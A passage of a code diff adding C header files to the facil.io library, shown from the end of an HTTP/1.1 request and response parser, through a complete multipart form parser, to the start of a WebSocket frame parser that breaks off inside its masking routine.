+  if ((end - start_value) == 7 &&
+#if HTTP1_UNALIGNED_MEMORY_ACCESS_ENABLED
+      (((uint32_t *)(start_value))[0] | 0x20202020) ==
+          ((uint32_t *)"chun")[0] &&
+      (((uint32_t *)(start_value + 3))[0] | 0x20202020) ==
+          ((uint32_t *)"nked")[0]
+#else
+      ((start_value[0] | 32) == 'c' && (start_value[1] | 32) == 'h' &&
+       (start_value[2] | 32) == 'u' && (start_value[3] | 32) == 'n' &&
+       (start_value[4] | 32) == 'k' && (start_value[5] | 32) == 'e' &&
+       (start_value[6] | 32) == 'd')
+#endif
+  ) {
+    /* simple case,only `chunked` as a value */
+    parser->state.reserved |= HTTP1_P_FLAG_CHUNKED;
+    parser->state.content_length = 0;
+    start_value += 7;
+    while (start_value < end && (*start_value == ',' || *start_value == ' '))
+      ++start_value;
+    if (!(end - start_value))
+      return 0;
+  } else if ((end - start_value) > 7 &&
+             ((end[(-7 + 0)] | 32) == 'c' && (end[(-7 + 1)] | 32) == 'h' &&
+              (end[(-7 + 2)] | 32) == 'u' && (end[(-7 + 3)] | 32) == 'n' &&
+              (end[(-7 + 4)] | 32) == 'k' && (end[(-7 + 5)] | 32) == 'e' &&
+              (end[(-7 + 6)] | 32) == 'd')) {
+    /* simple case,`chunked` at the end of list (RFC required) */
+    parser->state.reserved |= HTTP1_P_FLAG_CHUNKED;
+    parser->state.content_length = 0;
+    end -= 7;
+    while (start_value < end && (end[-1] == ',' || end[-1] == ' '))
+      --end;
+    if (!(end - start_value))
+      return 0;
+  }
+#ifdef HTTP1_ALLOW_CHUNKED_IN_MIDDLE_OF_HEADER /* RFC diisallows this */
+  else if ((end - start_value) > 7 && (end - start_value) < 256) {
+    /* complex case, `the, chunked, marker, is in the middle of list */
+    uint8_t val[256];
+    size_t val_len = 0;
+    while (start_value < end && val_len < 256) {
+      if ((end - start_value) >= 7) {
+        if (
+#if HTTP1_UNALIGNED_MEMORY_ACCESS_ENABLED
+            (((uint32_t *)(start_value))[0] | 0x20202020) ==
+                ((uint32_t *)"chun")[0] &&
+            (((uint32_t *)(start_value + 3))[0] | 0x20202020) ==
+                ((uint32_t *)"nked")[0]
+#else
+            ((start_value[0] | 32) == 'c' && (start_value[1] | 32) == 'h' &&
+             (start_value[2] | 32) == 'u' && (start_value[3] | 32) == 'n' &&
+             (start_value[4] | 32) == 'k' && (start_value[5] | 32) == 'e' &&
+             (start_value[6] | 32) == 'd')
+#endif
+
+        ) {
+          parser->state.reserved |= HTTP1_P_FLAG_CHUNKED;
+          parser->state.content_length = 0;
+          start_value += 7;
+          /* skip comma / white space */
+          while (start_value < end &&
+                 (*start_value == ',' || *start_value == ' '))
+            ++start_value;
+          continue;
+        }
+      }
+      /* copy value */
+      while (start_value < end && val_len < 256 && start_value[0] != ',') {
+        val[val_len++] = *start_value;
+        ++start_value;
+      }
+      /* copy comma */
+      if (start_value[0] == ',' && val_len < 256) {
+        val[val_len++] = *start_value;
+        ++start_value;
+      }
+      /* skip spaces */
+      while (start_value < end && start_value[0] == ' ') {
+        ++start_value;
+      }
+    }
+    if (val_len < 256) {
+      while (start_value < end && val_len < 256) {
+        val[val_len++] = *start_value;
+        ++start_value;
+      }
+      val[val_len] = 0;
+    }
+    /* perform callback with `val` or indicate error */
+    if (val_len == 256 ||
+        (val_len && http1_on_header(parser, (char *)start, (end_name - start),
+                                    (char *)val, val_len)))
+      return -1;
+    return 0;
+  }
+#endif /* HTTP1_ALLOW_CHUNKED_IN_MIDDLE_OF_HEADER */
+  /* perform callback */
+  if (http1_on_header(parser, (char *)start, (end_name - start),
+                      (char *)start_value, end - start_value))
+    return -1;
+  return 0;
+}
+inline static int http1_consume_header_top(http1_parser_s *parser,
+                                           uint8_t *start, uint8_t *end_name,
+                                           uint8_t *start_value, uint8_t *end) {
+  if ((end_name - start) == 14 &&
+#if HTTP1_UNALIGNED_MEMORY_ACCESS_ENABLED && HTTP_HEADERS_LOWERCASE
+      *((uint64_t *)start) == *((uint64_t *)"content-") &&
+      *((uint64_t *)(start + 6)) == *((uint64_t *)"t-length")
+#else
+      HEADER_NAME_IS_EQ((char *)start, "content-length", 14)
+#endif
+  ) {
+    /* handle the special `content-length` header */
+    if ((parser->state.reserved & HTTP1_P_FLAG_CHUNKED))
+      return 0; /* ignore if `chunked` */
+    long long old_clen = parser->state.content_length;
+    parser->state.content_length = http1_atol(start_value, NULL);
+    if ((parser->state.reserved & HTTP1_P_FLAG_CLENGTH) &&
+        old_clen != parser->state.content_length) {
+      /* content-length header repeated with conflict */
+      return -1;
+    }
+    parser->state.reserved |= HTTP1_P_FLAG_CLENGTH;
+  } else if ((end_name - start) == 17 && (end - start_value) >= 7 &&
+             !parser->state.content_length &&
+#if HTTP1_UNALIGNED_MEMORY_ACCESS_ENABLED && HTTP_HEADERS_LOWERCASE
+             *((uint64_t *)start) == *((uint64_t *)"transfer") &&
+             *((uint64_t *)(start + 8)) == *((uint64_t *)"-encodin")
+#else
+             HEADER_NAME_IS_EQ((char *)start, "transfer-encoding", 17)
+#endif
+  ) {
+    /* handle the special `transfer-encoding: chunked` header */
+    return http1_consume_header_transfer_encoding(parser, start, end_name,
+                                                  start_value, end);
+  }
+  /* perform callback */
+  if (http1_on_header(parser, (char *)start, (end_name - start),
+                      (char *)start_value, end - start_value))
+    return -1;
+  return 0;
+}
+
+inline static int http1_consume_header_trailer(http1_parser_s *parser,
+                                               uint8_t *start,
+                                               uint8_t *end_name,
+                                               uint8_t *start_value,
+                                               uint8_t *end) {
+  if ((end_name - start) > 1 && start[0] == 'x') {
+    /* X- headers are allowed */
+    goto white_listed;
+  }
+
+  /* white listed trailer names */
+  const struct {
+    char *name;
+    long len;
+  } http1_trailer_white_list[] = {
+      {"server-timing", 13}, /* specific for client data... */
+      {NULL, 0},             /* end of list marker */
+  };
+  for (size_t i = 0; http1_trailer_white_list[i].name; ++i) {
+    if ((long)(end_name - start) == http1_trailer_white_list[i].len &&
+        HEADER_NAME_IS_EQ((char *)start, http1_trailer_white_list[i].name,
+                          http1_trailer_white_list[i].len)) {
+      /* header disallowed here */
+      goto white_listed;
+    }
+  }
+  return 0;
+white_listed:
+  /* perform callback */
+  if (http1_on_header(parser, (char *)start, (end_name - start),
+                      (char *)start_value, end - start_value))
+    return -1;
+  return 0;
+}
+
+inline static int http1_consume_header(http1_parser_s *parser, uint8_t *start,
+                                       uint8_t *end) {
+  uint8_t *end_name = start;
+  /* divide header name from data */
+  if (!seek2ch(&end_name, end, ':'))
+    return -1;
+  if (end_name[-1] == ' ' || end_name[-1] == '\t')
+    return -1;
+#if HTTP_HEADERS_LOWERCASE
+  for (uint8_t *t = start; t < end_name; t++) {
+    *t = http_tolower(*t);
+  }
+#endif
+  uint8_t *start_value = end_name + 1;
+  // clear away leading white space from value.
+  while (start_value < end &&
+         (start_value[0] == ' ' || start_value[0] == '\t')) {
+    start_value++;
+  };
+  return (parser->state.read ? http1_consume_header_trailer
+                             : http1_consume_header_top)(
+      parser, start, end_name, start_value, end);
+}
+
+/* *****************************************************************************
+HTTP/1.1 Body handling
+***************************************************************************** */
+
+inline static int http1_consume_body_streamed(http1_parser_s *parser,
+                                              void *buffer, size_t length,
+                                              uint8_t **start) {
+  uint8_t *end = *start + parser->state.content_length - parser->state.read;
+  uint8_t *const stop = ((uint8_t *)buffer) + length;
+  if (end > stop)
+    end = stop;
+  if (end > *start &&
+      http1_on_body_chunk(parser, (char *)(*start), end - *start))
+    return -1;
+  parser->state.read += (end - *start);
+  *start = end;
+  if (parser->state.content_length <= parser->state.read)
+    parser->state.reserved |= HTTP1_P_FLAG_COMPLETE;
+  return 0;
+}
+
+inline static int http1_consume_body_chunked(http1_parser_s *parser,
+                                             void *buffer, size_t length,
+                                             uint8_t **start) {
+  uint8_t *const stop = ((uint8_t *)buffer) + length;
+  uint8_t *end = *start;
+  while (*start < stop) {
+    if (parser->state.content_length == 0) {
+      if (end + 2 >= stop)
+        return 0;
+      if ((end[0] == '\r' && end[1] == '\n')) {
+        /* remove tailing EOL that wasn't processed and retest */
+        end += 2;
+        *start = end;
+        if (end + 2 >= stop)
+          return 0;
+      }
+      long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
+      if (end + 2 > stop) /* overflowed? */
+        return 0;
+      if ((end[0] != '\r' || end[1] != '\n'))
+        return -1; /* required EOL after content length */
+      end += 2;
+
+      parser->state.content_length = 0 - chunk_len;
+      *start = end;
+      if (parser->state.content_length == 0) {
+        /* all chunked data was parsed */
+        /* update content-length */
+        parser->state.content_length = parser->state.read;
+#ifdef HTTP_ADD_CONTENT_LENGTH_HEADER_IF_MISSING
+        { /* add virtual header ... ? */
+          char buf[512];
+          size_t buf_len = 512;
+          size_t tmp_len = parser->state.read;
+          buf[--buf_len] = 0;
+          while (tmp_len) {
+            size_t mod = tmp_len / 10;
+            buf[--buf_len] = '0' + (tmp_len - (mod * 10));
+            tmp_len = mod;
+          }
+          if (!(parser->state.reserved & HTTP1_P_FLAG_CLENGTH) &&
+              http1_on_header(parser, "content-length", 14,
+                              (char *)buf + buf_len, 511 - buf_len)) {
+            return -1;
+          }
+        }
+#endif
+        /* FIXME: consume trailing EOL */
+        if (*start + 2 <= stop && (start[0][0] == '\r' || start[0][0] == '\n'))
+          *start += 1 + (start[0][1] == '\r' || start[0][1] == '\n');
+        else {
+          /* remove the "headers complete" and "trailer" flags */
+          parser->state.reserved =
+              HTTP1_P_FLAG_STATUS_LINE | HTTP1_P_FLAG_CLENGTH;
+          return -2;
+        }
+        /* the parsing complete flag */
+        parser->state.reserved |= HTTP1_P_FLAG_COMPLETE;
+        return 0;
+      }
+    }
+    end = *start + (0 - parser->state.content_length);
+    if (end > stop)
+      end = stop;
+    if (end > *start &&
+        http1_on_body_chunk(parser, (char *)(*start), end - *start)) {
+      return -1;
+    }
+    parser->state.read += (end - *start);
+    parser->state.content_length += (end - *start);
+    *start = end;
+  }
+  return 0;
+}
+
+inline static int http1_consume_body(http1_parser_s *parser, void *buffer,
+                                     size_t length, uint8_t **start) {
+  if (parser->state.content_length > 0 &&
+      parser->state.content_length > parser->state.read) {
+    /* normal, streamed data */
+    return http1_consume_body_streamed(parser, buffer, length, start);
+  } else if (parser->state.content_length <= 0 &&
+             (parser->state.reserved & HTTP1_P_FLAG_CHUNKED)) {
+    /* chuncked encoding */
+    return http1_consume_body_chunked(parser, buffer, length, start);
+  } else {
+    /* nothing to do - parsing complete */
+    parser->state.reserved |= HTTP1_P_FLAG_COMPLETE;
+  }
+  return 0;
+}
+
+/* *****************************************************************************
+HTTP/1.1 parsre function
+***************************************************************************** */
+#if DEBUG
+#include <assert.h>
+#define HTTP1_ASSERT assert
+#else
+#define HTTP1_ASSERT(...)
+#endif
+
+/**
+ * Returns the amount of data actually consumed by the parser.
+ *
+ * The value 0 indicates there wasn't enough data to be parsed and the same
+ * buffer (with more data) should be resubmitted.
+ *
+ * A value smaller than the buffer size indicates that EITHER a request /
+ * response was detected OR that the leftover could not be consumed because more
+ * data was required.
+ *
+ * Simply resubmit the reminder of the data to continue parsing.
+ *
+ * A request / response callback automatically stops the parsing process,
+ * allowing the user to adjust or refresh the state of the data.
+ */
+static size_t http1_parse(http1_parser_s *parser, void *buffer, size_t length) {
+  if (!length)
+    return 0;
+  HTTP1_ASSERT(parser && buffer);
+  parser->state.next = NULL;
+  uint8_t *start = (uint8_t *)buffer;
+  uint8_t *end = start;
+  uint8_t *const stop = start + length;
+  uint8_t eol_len = 0;
+#define HTTP1_CONSUMED ((size_t)((uintptr_t)start - (uintptr_t)buffer))
+
+re_eval:
+  switch ((parser->state.reserved & 7)) {
+
+  case 0: /* request / response line */
+    /* clear out any leading white space */
+    while ((start < stop) &&
+           (*start == '\r' || *start == '\n' || *start == ' ' || *start == 0)) {
+      ++start;
+    }
+    end = start;
+    /* make sure the whole line is available*/
+    if (!(eol_len = seek2eol(&end, stop)))
+      return HTTP1_CONSUMED;
+
+    if (start[0] == 'H' && start[1] == 'T' && start[2] == 'T' &&
+        start[3] == 'P') {
+      /* HTTP response */
+      if (http1_consume_response_line(parser, start, end - eol_len + 1))
+        goto error;
+    } else if (http_tolower(start[0]) >= 'a' && http_tolower(start[0]) <= 'z') {
+      /* HTTP request */
+      if (http1_consume_request_line(parser, start, end - eol_len + 1))
+        goto error;
+    } else
+      goto error;
+    end = start = end + 1;
+    parser->state.reserved |= HTTP1_P_FLAG_STATUS_LINE;
+
+  /* fallthrough */
+  case 1: /* headers */
+    do {
+      if (start >= stop)
+        return HTTP1_CONSUMED; /* buffer ended on header line */
+      if (*start == '\r' || *start == '\n') {
+        goto finished_headers; /* empty line, end of headers */
+      }
+      end = start;
+      if (!(eol_len = seek2eol(&end, stop)))
+        return HTTP1_CONSUMED;
+      if (http1_consume_header(parser, start, end - eol_len + 1))
+        goto error;
+      end = start = end + 1;
+    } while ((parser->state.reserved & HTTP1_P_FLAG_HEADER_COMPLETE) == 0);
+  finished_headers:
+    ++start;
+    if (*start == '\n')
+      ++start;
+    end = start;
+    parser->state.reserved |= HTTP1_P_FLAG_HEADER_COMPLETE;
+  /* fallthrough */
+  case (HTTP1_P_FLAG_HEADER_COMPLETE | HTTP1_P_FLAG_STATUS_LINE):
+    /* request body */
+    {
+      int t3 = http1_consume_body(parser, buffer, length, &start);
+      switch (t3) {
+      case -1:
+        goto error;
+      case -2:
+        goto re_eval;
+      }
+      break;
+    }
+  }
+  /* are we done ? */
+  if (parser->state.reserved & HTTP1_P_FLAG_COMPLETE) {
+    parser->state.next = start;
+    if (((parser->state.reserved & HTTP1_P_FLAG_RESPONSE)
+             ? http1_on_response
+             : http1_on_request)(parser))
+      goto error;
+    parser->state = (struct http1_parser_protected_read_only_state_s){0};
+  }
+  return HTTP1_CONSUMED;
+error:
+  http1_on_error(parser);
+  parser->state = (struct http1_parser_protected_read_only_state_s){0};
+  return length;
+#undef HTTP1_CONSUMED
+}
+
+#endif

facil.io/lib/facil/http/parsers/http_mime_parser.h

@@ -0,0 +1,350 @@
+/*
+Copyright: Boaz Segev, 2018-2019
+License: MIT
+
+Feel free to copy, use and enjoy according to the license provided.
+*/
+#ifndef H_HTTP_MIME_PARSER_H
+#define H_HTTP_MIME_PARSER_H
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+
+/* *****************************************************************************
+Known Limitations:
+
+- Doesn't support nested multipart form structures (i.e., multi-file selection).
+  See: https://www.w3.org/TR/html401/interact/forms.html#h-17.13.4.2
+
+To circumvent limitation, initialize a new parser to parse nested multiparts.
+***************************************************************************** */
+
+/* *****************************************************************************
+The HTTP MIME Multipart Form Parser Type
+***************************************************************************** */
+
+/** all data id read-only / for internal use */
+typedef struct {
+  char *boundary;
+  size_t boundary_len;
+  uint8_t in_obj;
+  uint8_t done;
+  uint8_t error;
+} http_mime_parser_s;
+
+/* *****************************************************************************
+Callbacks to be implemented.
+***************************************************************************** */
+
+/** Called when all the data is available at once. */
+static void http_mime_parser_on_data(http_mime_parser_s *parser, void *name,
+                                     size_t name_len, void *filename,
+                                     size_t filename_len, void *mimetype,
+                                     size_t mimetype_len, void *value,
+                                     size_t value_len);
+
+/** Called when the data didn't fit in the buffer. Data will be streamed. */
+static void http_mime_parser_on_partial_start(
+    http_mime_parser_s *parser, void *name, size_t name_len, void *filename,
+    size_t filename_len, void *mimetype, size_t mimetype_len);
+
+/** Called when partial data is available. */
+static void http_mime_parser_on_partial_data(http_mime_parser_s *parser,
+                                             void *value, size_t value_len);
+
+/** Called when the partial data is complete. */
+static void http_mime_parser_on_partial_end(http_mime_parser_s *parser);
+
+/**
+ * Called when URL decoding is required.
+ *
+ * Should support inplace decoding (`dest == encoded`).
+ *
+ * Should return the length of the decoded string.
+ */
+static size_t http_mime_decode_url(char *dest, const char *encoded,
+                                   size_t length);
+
+/* *****************************************************************************
+API
+***************************************************************************** */
+
+/**
+ * Takes the HTTP Content-Type header and initializes the parser data.
+ *
+ * Note: the Content-Type header should persist in memory while the parser is in
+ * use.
+ */
+static int http_mime_parser_init(http_mime_parser_s *parser, char *content_type,
+                                 size_t len);
+
+/**
+ * Consumes data from a streaming buffer.
+ *
+ * The data might be partially consumed, in which case the unconsumed data
+ * should be resent to the parser as more data becomes available.
+ *
+ * Note: test the `parser->done` and `parser->error` flags between iterations.
+ */
+static size_t http_mime_parse(http_mime_parser_s *parser, void *buffer,
+                              size_t length);
+
+/* *****************************************************************************
+Implementations
+***************************************************************************** */
+
+/** takes the HTTP Content-Type header and initializes the parser data. */
+static int http_mime_parser_init(http_mime_parser_s *parser, char *content_type,
+                                 size_t len) {
+  *parser = (http_mime_parser_s){.done = 0};
+  if (len < 14 || strncasecmp("multipart/form", content_type, 14))
+    return -1;
+  char *cut = memchr(content_type, ';', len);
+  while (cut) {
+    ++cut;
+    len -= (size_t)(cut - content_type);
+    while (len && cut[0] == ' ') {
+      --len;
+      ++cut;
+    }
+    if (len <= 9)
+      return -1;
+    if (strncasecmp("boundary=", cut, 9)) {
+      content_type = cut;
+      cut = memchr(cut, ';', len);
+      continue;
+    }
+    cut += 9;
+    len -= 9;
+    content_type = cut;
+    parser->boundary = content_type;
+    if ((cut = memchr(content_type, ';', len)))
+      parser->boundary_len = (size_t)(cut - content_type);
+    else
+      parser->boundary_len = len;
+    return 0;
+  }
+  return -1;
+}
+
+/**
+ * Consumes data from a streaming buffer.
+ *
+ * The data might be partially consumed, in which case the unconsumed data
+ * should be resent to the parser as more data becomes available.
+ *
+ * Note: test the `parser->done` and `parser->error` flags between iterations.
+ */
+static size_t http_mime_parse(http_mime_parser_s *parser, void *buffer,
+                              size_t length) {
+  int first_run = 1;
+  char *pos = buffer;
+  const char *stop = pos + length;
+  if (!length)
+    goto end_of_data;
+consume_partial:
+  if (parser->in_obj) {
+    /* we're in an object longer than the buffer */
+    char *start = pos;
+    char *end = start;
+    do {
+      end = memchr(end, '\n', (size_t)(stop - end));
+    } while (end && ++end &&
+             (size_t)(stop - end) >= (4 + parser->boundary_len) &&
+             (end[0] != '-' || end[1] != '-' ||
+              memcmp(end + 2, parser->boundary, parser->boundary_len)));
+    if (!end) {
+      end = (char *)stop;
+      pos = end;
+      if (end - start)
+        http_mime_parser_on_partial_data(parser, start, (size_t)(end - start));
+      goto end_of_data;
+    } else if (end + 4 + parser->boundary_len >= stop) {
+      end -= 2;
+      if (end[0] == '\r')
+        --end;
+      pos = end;
+      if (end - start)
+        http_mime_parser_on_partial_data(parser, start, (size_t)(end - start));
+      goto end_of_data;
+    }
+    size_t len = (end - start) - 1;
+    if (start[len - 1] == '\r')
+      --len;
+    if (len)
+      http_mime_parser_on_partial_data(parser, start, len);
+    http_mime_parser_on_partial_end(parser);
+    pos = end;
+    parser->in_obj = 0;
+    first_run = 0;
+  } else if (length < (4 + parser->boundary_len) || pos[0] != '-' ||
+             pos[1] != '-' ||
+             memcmp(pos + 2, parser->boundary, parser->boundary_len))
+    goto error;
+  /* We're at a boundary */
+  while (pos < stop) {
+    char *start;
+    char *end;
+    char *name = NULL;
+    uint32_t name_len = 0;
+    char *value = NULL;
+    uint32_t value_len = 0;
+    char *filename = NULL;
+    uint32_t filename_len = 0;
+    char *mime = NULL;
+    uint32_t mime_len = 0;
+    uint8_t header_count = 0;
+    /* test for ending */
+    if (pos[2 + parser->boundary_len] == '-' &&
+        pos[3 + parser->boundary_len] == '-') {
+      pos += 5 + parser->boundary_len;
+      if (pos > stop)
+        pos = (char *)stop;
+      else if (pos < stop && pos[0] == '\n')
+        ++pos;
+      goto done;
+    }
+    start = pos + 3 + parser->boundary_len;
+    if (start[0] == '\n') {
+      /* should be true, unless new line marker was just '\n' */
+      ++start;
+    }
+    /* consume headers */
+    while (start + 4 < stop && start[0] != '\n' && start[1] != '\n') {
+      end = memchr(start, '\n', (size_t)(stop - start));
+      if (!end) {
+        if (first_run)
+          goto error;
+        goto end_of_data;
+      }
+      if (end - start > 29 && !strncasecmp(start, "content-disposition:", 20)) {
+        /* content-disposition header */
+        start = memchr(start + 20, ';', end - (start + 20));
+        // if (!start)
+        //   start = end + 1;
+        while (start) {
+          ++start;
+          if (start[0] == ' ')
+            ++start;
+          if (start + 6 < end && !strncasecmp(start, "name=", 5)) {
+            name = start + 5;
+            if (name[0] == '"')
+              ++name;
+            start = memchr(name, ';', (size_t)(end - start));
+            if (!start) {
+              name_len = (size_t)(end - name);
+              if (name[name_len - 1] == '\r')
+                --name_len;
+            } else {
+              name_len = (size_t)(start - name);
+            }
+            if (name[name_len - 1] == '"')
+              --name_len;
+          } else if (start + 9 < end && !strncasecmp(start, "filename", 8)) {
+            uint8_t encoded = 0;
+            start += 8;
+            if (start[0] == '*') {
+              encoded = 1;
+              ++start;
+            }
+            if (start[0] != '=')
+              goto error;
+            ++start;
+            if (start[0] == ' ')
+              ++start;
+            if (start[0] == '"')
+              ++start;
+            if (filename && !encoded) {
+              /* prefer URL encoded version */
+              start = memchr(filename, ';', (size_t)(end - start));
+              continue;
+            }
+            filename = start;
+            start = memchr(filename, ';', (size_t)(end - start));
+            if (!start) {
+              filename_len = (size_t)((end - filename));
+              if (filename[filename_len - 1] == '\r') {
+                --filename_len;
+              }
+            } else {
+              filename_len = (size_t)(start - filename);
+            }
+            if (filename[filename_len - 1] == '"')
+              --filename_len;
+            if (encoded) {
+              ssize_t new_len =
+                  http_mime_decode_url(filename, filename, filename_len);
+              if (new_len > 0)
+                filename_len = new_len;
+            }
+          } else {
+            start = memchr(start, ';', (size_t)(end - start));
+          }
+        }
+      } else if (end - start > 14 && !strncasecmp(start, "content-type:", 13)) {
+        /* content-type header */
+        start += 13;
+        if (start[0] == ' ')
+          ++start;
+        mime = start;
+        start = memchr(start, ';', (size_t)(end - start));
+        if (!start) {
+          mime_len = (size_t)(end - mime);
+          if (mime[mime_len - 1] == '\r')
+            --mime_len;
+        } else {
+          mime_len = (size_t)(start - mime);
+        }
+      }
+      start = end + 1;
+      if (header_count++ > 4)
+        goto error;
+    }
+    if (!name) {
+      if (start + 4 >= stop)
+        goto end_of_data;
+      goto error;
+    }
+
+    /* advance to end of boundry */
+    ++start;
+    if (start[0] == '\n')
+      ++start;
+    value = start;
+    end = start;
+    do {
+      end = memchr(end, '\n', (size_t)(stop - end));
+    } while (end && ++end &&
+             (size_t)(stop - end) >= (4 + parser->boundary_len) &&
+             (end[0] != '-' || end[1] != '-' ||
+              memcmp(end + 2, parser->boundary, parser->boundary_len)));
+    if (!end || end + 4 + parser->boundary_len >= stop) {
+      if (first_run) {
+        http_mime_parser_on_partial_start(parser, name, name_len, filename,
+                                          filename_len, mime, mime_len);
+        parser->in_obj = 1;
+        pos = value;
+        goto consume_partial;
+      }
+      goto end_of_data;
+    }
+    value_len = (size_t)((end - value) - 1);
+    if (value[value_len - 1] == '\r')
+      --value_len;
+    pos = end;
+    http_mime_parser_on_data(parser, name, name_len, filename, filename_len,
+                             mime, mime_len, value, value_len);
+    first_run = 0;
+  }
+end_of_data:
+  return (size_t)((uintptr_t)pos - (uintptr_t)buffer);
+done:
+  parser->done = 1;
+  parser->error = 0;
+  return (size_t)((uintptr_t)pos - (uintptr_t)buffer);
+error:
+  parser->done = 0;
+  parser->error = 1;
+  return (size_t)((uintptr_t)pos - (uintptr_t)buffer);
+}
+#endif

facil.io/lib/facil/http/parsers/websocket_parser.h

@@ -0,0 +1,505 @@
+/*
+copyright: Boaz Segev, 2017-2019
+license: MIT
+
+Feel free to copy, use and enjoy according to the license specified.
+*/
+#ifndef H_WEBSOCKET_PARSER_H
+/**\file
+
+A single file WebSocket message parser and WebSocket message wrapper, decoupled
+from any IO layer.
+
+Notice that this header file library includes static funnction declerations that
+must be implemented by the including file (the callbacks).
+
+*/
+#define H_WEBSOCKET_PARSER_H
+#include <stdint.h>
+#include <stdlib.h>
+#include <string.h>
+#if DEBUG
+#include <stdio.h>
+#endif
+/* *****************************************************************************
+API - Message Wrapping
+***************************************************************************** */
+
+/** returns the length of the buffer required to wrap a message `len` long */
+static inline __attribute__((unused)) uint64_t
+websocket_wrapped_len(uint64_t len);
+
+/**
+ * Wraps a WebSocket server message and writes it to the target buffer.
+ *
+ * The `first` and `last` flags can be used to support message fragmentation.
+ *
+ * * target: the target buffer to write to.
+ * * msg:    the message to be wrapped.
+ * * len:    the message length.
+ * * opcode: set to 1 for UTF-8 message, 2 for binary, etc'.
+ * * first:  set to 1 if `msg` points the beginning of the message.
+ * * last:   set to 1 if `msg + len` ends the message.
+ * * client: set to 1 to use client mode (data  masking).
+ *
+ * Further opcode values:
+ * * %x0 denotes a continuation frame
+ * *  %x1 denotes a text frame
+ * *  %x2 denotes a binary frame
+ * *  %x3-7 are reserved for further non-control frames
+ * *  %x8 denotes a connection close
+ * *  %x9 denotes a ping
+ * *  %xA denotes a pong
+ * *  %xB-F are reserved for further control frames
+ *
+ * Returns the number of bytes written. Always `websocket_wrapped_len(len)`
+ */
+inline static uint64_t __attribute__((unused))
+websocket_server_wrap(void *target, void *msg, uint64_t len,
+                      unsigned char opcode, unsigned char first,
+                      unsigned char last, unsigned char rsv);
+
+/**
+ * Wraps a WebSocket client message and writes it to the target buffer.
+ *
+ * The `first` and `last` flags can be used to support message fragmentation.
+ *
+ * * target: the target buffer to write to.
+ * * msg:    the message to be wrapped.
+ * * len:    the message length.
+ * * opcode: set to 1 for UTF-8 message, 2 for binary, etc'.
+ * * first:  set to 1 if `msg` points the beginning of the message.
+ * * last:   set to 1 if `msg + len` ends the message.
+ * * client: set to 1 to use client mode (data  masking).
+ *
+ * Returns the number of bytes written. Always `websocket_wrapped_len(len) + 4`
+ */
+inline static __attribute__((unused)) uint64_t
+websocket_client_wrap(void *target, void *msg, uint64_t len,
+                      unsigned char opcode, unsigned char first,
+                      unsigned char last, unsigned char rsv);
+
+/* *****************************************************************************
+Callbacks - Required functions that must be inplemented to use this header
+***************************************************************************** */
+
+static void websocket_on_unwrapped(void *udata, void *msg, uint64_t len,
+                                   char first, char last, char text,
+                                   unsigned char rsv);
+static void websocket_on_protocol_ping(void *udata, void *msg, uint64_t len);
+static void websocket_on_protocol_pong(void *udata, void *msg, uint64_t len);
+static void websocket_on_protocol_close(void *udata);
+static void websocket_on_protocol_error(void *udata);
+
+/* *****************************************************************************
+API - Parsing (unwrapping)
+***************************************************************************** */
+
+/** the returned value for `websocket_buffer_required` */
+struct websocket_packet_info_s {
+  /** the expected packet length */
+  uint64_t packet_length;
+  /** the packet's "head" size (before the data) */
+  uint8_t head_length;
+  /** a flag indicating if the packet is masked */
+  uint8_t masked;
+};
+
+/**
+ * Returns all known information regarding the upcoming message.
+ *
+ * @returns a struct websocket_packet_info_s.
+ *
+ * On protocol error, the `head_length` value is 0 (no valid head detected).
+ */
+inline static struct websocket_packet_info_s
+websocket_buffer_peek(void *buffer, uint64_t len);
+
+/**
+ * Consumes the data in the buffer, calling any callbacks required.
+ *
+ * Returns the remaining data in the existing buffer (can be 0).
+ *
+ * Notice: if there's any data in the buffer that can't be parsed
+ * just yet, `memmove` is used to place the data at the beginning of the buffer.
+ */
+inline static __attribute__((unused)) uint64_t
+websocket_consume(void *buffer, uint64_t len, void *udata,
+                  uint8_t require_masking);
+
+/* *****************************************************************************
+API - Internal Helpers
+***************************************************************************** */
+
+/** used internally to mask and unmask client messages. */
+inline static void websocket_xmask(void *msg, uint64_t len, uint32_t mask);
+
+/* *****************************************************************************
+
+                                Implementation
+
+***************************************************************************** */
+
+/* *****************************************************************************
+Message masking
+***************************************************************************** */
+/** used internally to mask and unmask client messages. */
+void websocket_xmask(void *msg, uint64_t len, uint32_t mask) {
+  if (len > 7) {
+    { /* XOR any unaligned memory (4 byte alignment) */
+      const uintptr_t offset = 4 - ((uintptr_t)msg & 3);
+      switch (offset) {
+      case 3:
+        ((uint8_t *)msg)[2] ^= ((uint8_t *)(&mask))[2];
+      /* fallthrough */
+      case 2:
+        ((uint8_t *)msg)[1] ^= ((uint8_t *)(&mask))[1];
+      /* fallthrough */
+      case 1:
+        ((uint8_t *)msg)[0] ^= ((uint8_t *)(&mask))[0];
+        /* rotate mask and move pointer to first 4 byte alignment */
+        uint64_t comb = mask | ((uint64_t)mask << 32);
+        ((uint8_t *)(&mask))[0] = ((uint8_t *)(&comb))[0 + offset];
+        ((uint8_t *)(&mask))[1] = ((uint8_t *)(&comb))[1 + offset];
+        ((uint8_t *)(&mask))[2] = ((uint8_t *)(&comb))[2 + offset];
+        ((uint8_t *)(&mask))[3] = ((uint8_t *)(&comb))[3 + offset];
+        msg = (void *)((uintptr_t)msg + offset);
+        len -= offset;
+      }
+    }
+#if UINTPTR_MAX <= 0xFFFFFFFF
+    /* handle  4 byte XOR alignment in 32 bit mnachine*/
+    while (len >= 4) {
+      *((uint32_t *)msg) ^= mask;
+      len -= 4;
+      msg = (void *)((uintptr_t)msg + 4);
+    }
+#else
+    /* handle first 4 byte XOR alignment and move on to 64 bits */
+    if ((uintptr_t)msg & 7) {
+      *((uint32_t *)msg) ^= mask;
+      len -= 4;
+      msg = (void *)((uintptr_t)msg + 4);
+    }
+    /* intrinsic / XOR by 8 byte block, memory aligned */
+    const uint64_t xmask = (((uint64_t)mask) << 32) | mask;
+    while (len >= 8) {
+      *((uint64_t *)msg) ^= xmask;
+      len -= 8;
+      msg = (void *)((uintptr_t)msg + 8);
+    }
+#endif
+  }
+
+  /* XOR any leftover bytes (might be non aligned)  */
+  switch (len) {
+  case 7:
+    ((uint8_t *)msg)[6] ^= ((uint8_t *)(&mask))[2];
+  /* fallthrough */
+  case 6:
+    ((uint8_t *)msg)[5] ^= ((uint8_t *)(&mask))[1];
+  /* fallthrough */
+  case 5:
+    ((uint8_t *)msg)[4] ^= ((uint8_t *)(&mask))[0];
+  /* fallthrough */
+  case 4:
